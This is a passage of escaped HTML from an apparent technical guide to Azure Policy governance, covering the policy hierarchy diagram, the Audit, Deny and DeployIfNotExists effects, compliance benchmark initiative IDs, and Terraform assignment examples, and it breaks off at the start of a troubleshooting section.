stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,160 L 8,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,48 L 24,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,208 L 24,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,272 L 24,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,80 L 72,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,144 L 72,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,48 L 128,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,208 L 128,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,272 L 128,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,48 L 160,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,208 L 160,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,80 L 208,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,144 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,240 L 208,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,48 L 264,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,208 L 264,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,0 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,160 L 280,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,144 L 72,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='88.000000,144.000000 76.000000,138.399994 76.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 72.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,224.000000 132.000000,218.399994 132.000000,229.600006' fill='currentColor' transform='rotate(180.000000, 136.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='144.000000,288.000000 132.000000,282.399994 132.000000,293.600006' fill='currentColor' transform='rotate(180.000000, 136.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='160.000000,64.000000 148.000000,58.400002 148.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 152.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 208,144 L 208,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,144.000000 212.000000,138.399994 212.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 208.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='292' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDefinitions\u003c/strong\u003e are the individual rules; \u003cstrong\u003eInitiatives\u003c/strong\u003e aggregate them for easier management.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAssignments\u003c/strong\u003e link the policy to a scope (Management Group, Subscription, or Resource Group).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInheritance\u003c/strong\u003e ensures that a policy assigned at a high level (e.g., Landing Zones MG) covers all current and future resources beneath it.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"policy-effects-and-enforcement\"\u003ePolicy Effects and Enforcement\u003c/h2\u003e\n\u003ch3 id=\"audit-and-auditifnotexists\"\u003eAudit and AuditIfNotExists\u003c/h3\u003e\n\u003cp\u003eUse \u003ccode\u003eAudit\u003c/code\u003e to measure a gap before enforcing it. The standard progression is: assign as \u003ccode\u003eAudit\u003c/code\u003e, remediate existing resources, then convert to \u003ccode\u003eDeny\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"deny\"\u003eDeny\u003c/h3\u003e\n\u003cp\u003eBlocks non-compliant resource creation. ARM rejects the request before it is written, providing a \u003ccode\u003eRequestDisallowedByPolicy\u003c/code\u003e error.\u003c/p\u003e\n\u003ch3 id=\"deployifnotexists-dine\"\u003eDeployIfNotExists (DINE)\u003c/h3\u003e\n\u003cp\u003eThe most powerful effect. If a related resource (like a diagnostic setting) is missing, the policy\u0026rsquo;s managed identity deploys it automatically via an ARM template.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDINE Example: Key Vault Diagnostic Settings\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;if\u0026#34;\u003c/span\u003e: { \u003cspan style=\"color:#f92672\"\u003e\u0026#34;field\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#f92672\"\u003e\u0026#34;equals\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.KeyVault/vaults\u0026#34;\u003c/span\u003e },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;then\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;effect\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;DeployIfNotExists\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;details\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.Insights/diagnosticSettings\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;roleDefinitionIds\u0026#34;\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293\u0026#34;\u003c/span\u003e], \u003cspan style=\"color:#75715e\"\u003e// Log Analytics Contributor\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;deployment\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;properties\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;mode\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;incremental\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;template\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026#34;resources\u0026#34;\u003c/span\u003e: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.KeyVault/vaults/providers/diagnosticSettings\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026#34;apiVersion\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2021-05-01-preview\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#75715e\"\u003e// Extension resources use \u0026#39;parentName/providers/resourceName\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[concat(parameters(\u0026#39;kvName\u0026#39;), \u0026#39;/microsoft.insights/platform-diag-settings\u0026#39;)]\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026#34;properties\u0026#34;\u003c/span\u003e: { \u003cspan style=\"color:#f92672\"\u003e\u0026#34;workspaceId\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[parameters(\u0026#39;workspaceId\u0026#39;)]\u0026#34;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"regulatory-compliance-benchmarks\"\u003eRegulatory Compliance Benchmarks\u003c/h2\u003e\n\u003cp\u003eAssign these at the \u003ccode\u003eLanding Zones\u003c/code\u003e management group to establish a baseline:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eInitiative\u003c/th\u003e\n          \u003cth\u003eID (built-in)\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eMicrosoft Cloud Security Benchmark (MCSB)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e1f3afdf9-d0c9-4c3d-847f-89da613e70a8\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eCIS Azure Foundations Benchmark v2.0.0\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e06f19060-9e68-4070-92ca-f15cc126059e\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eNIST SP 800-53 Rev 5\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e1f9634a6-3fde-4bd2-82f3-30b5702d8d90\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"deploying-via-terraform\"\u003eDeploying via Terraform\u003c/h2\u003e\n\u003cp\u003eUse \u003ccode\u003ejsonencode()\u003c/code\u003e or \u003ccode\u003efile()\u003c/code\u003e to manage your JSON definitions.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_management_group_policy_assignment\u0026#34; \u0026#34;cis_benchmark\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;cis-foundations-lz\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  display_name         \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CIS Benchmark v2.0.0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  policy_definition_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Authorization/policySetDefinitions/06f19060-9e68-4070-92ca-f15cc126059e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  management_group_id  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elanding_zones_mg_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_role_assignment\u0026#34; \u0026#34;dine_remediation\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  scope                            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003elanding_zones_mg_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  role_definition_name             \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Log Analytics Contributor\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  principal_id                     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_management_group_policy_assignment\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ekv_diags\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eidentity\u003c/span\u003e[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e].\u003cspan style=\"color:#66d9ef\"\u003eprincipal_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  skip_service_principal_aad_check \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e//\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ePrevents\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ereplication\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003erace\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003econditions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eParameterize the Effect\u003c/strong\u003e: Always parameterize the \u003ccode\u003eeffect\u003c/code\u003e field in your definitions. This allows the same rule to be \u003ccode\u003eAudit\u003c/code\u003e in Sandbox and \u003ccode\u003eDeny\u003c/code\u003e in Prod.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMode: All vs Indexed\u003c/strong\u003e: Use \u003ccode\u003emode: 'All'\u003c/code\u003e for networking policies. \u003ccode\u003eIndexed\u003c/code\u003e skips subnets and other child resources.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTime-bound Exemptions\u003c/strong\u003e: Never create an exemption without an expiry date.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWait for Evaluation\u003c/strong\u003e: Allow 15–30 minutes for the policy engine to evaluate resources before triggering remediation tasks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eLimits to track (2026):\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e500 policy definitions per scope.\u003c/li\u003e\n\u003cli\u003e200 policy assignments per scope.\u003c/li\u003e\n\u003cli\u003e1,000 exemptions per scope.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;DINE remediation task is stuck at 